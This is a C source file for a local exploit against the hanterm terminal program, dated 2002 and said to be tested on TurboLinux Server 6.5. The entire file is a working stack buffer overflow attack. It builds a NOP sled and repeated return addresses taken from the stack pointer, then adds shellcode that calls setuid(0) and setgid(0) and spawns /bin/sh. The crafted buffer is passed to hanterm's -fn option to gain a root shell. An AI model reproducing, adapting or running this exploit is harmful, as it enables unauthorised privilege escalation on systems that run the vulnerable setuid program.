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C/C++ Source or Header  |  2005-02-12  |  1.3 KB  |  61 lines
  1. /* hanterm_exp.c
  2.  *
  3.  * local exploit for hanterm
  4.  *  .. tested in TurboLinux Server 6.5 (Japan)
  5.  *
  6.  * thanks my Japanese friend kaju(kaijyu)
  7.  * and Japanese hacker UNYUN.
  8.  *
  9.  *                  by xperc@hotmail.com
  10.  *                         2002/02/07
  11.  */
  12.  
  13. #include <stdio.h>
  14.  
  15. #define NOP        0x90
  16. #define MAXBUF        88
  17. #define RETOFS        84
  18. #define SHELL_OFS     22
  19. #define ESP_OFS     -0xe38
  20.  
  21. unsigned int get_esp()
  22. {
  23.     __asm__("mov %esp,%eax");
  24. }
  25.  
  26. int main()
  27. {
  28.         static char shellcode[]={
  29.             0x31,0xc0,0x31,0xdb,0xb0,0x17,0xcd,0x80,
  30.  
  31. 0x31,0xc0,0x31,0xdb,0xb0,0x2e,0xcd,0x80,
  32.             0xeb,0x18,0x5e,0x89,0x76,0x08,0x31,0xc0,
  33.  
  34. 0x88,0x46,0x07,0x89,0x46,0x0c,0xb0,0x0b,
  35.             0x89,0xf3,0x8d,0x4e,0x08,0x8d,0x56,0x0c,
  36.             0xcd,0x80,0xe8,0xe3,0xff,0xff,0xff,0x2f,
  37.             0x62,0x69,0x6e,0x2f,0x73,0x68,0x00
  38.         };
  39.         unsigned int retadr;
  40.     char buf[MAXBUF];
  41.         int i;
  42.  
  43.     memset(buf,NOP,MAXBUF);
  44.  
  45.     retadr=get_esp()+ESP_OFS;
  46.     printf("Jumping address = %p\n",retadr);
  47.  
  48.     for(i=RETOFS-32;i<RETOFS+32;i+=4){
  49.         buf[i]    =retadr&0xff;
  50.         buf[i+1]=(retadr>>8)&0xff;
  51.         buf[i+2]=(retadr>>16)&0xff;
  52.         buf[i+3]=(retadr>>24)&0xff;
  53.     }
  54.     strncpy(buf+SHELL_OFS,shellcode,strlen
  55. (shellcode));
  56.     //buf[MAXBUF-1]='\0';       faint!:-(
  57.     execl("/usr/bin/X11/hanterm","hanterm","-
  58. fn",buf,(char *)0);
  59. }
  60.  
  61.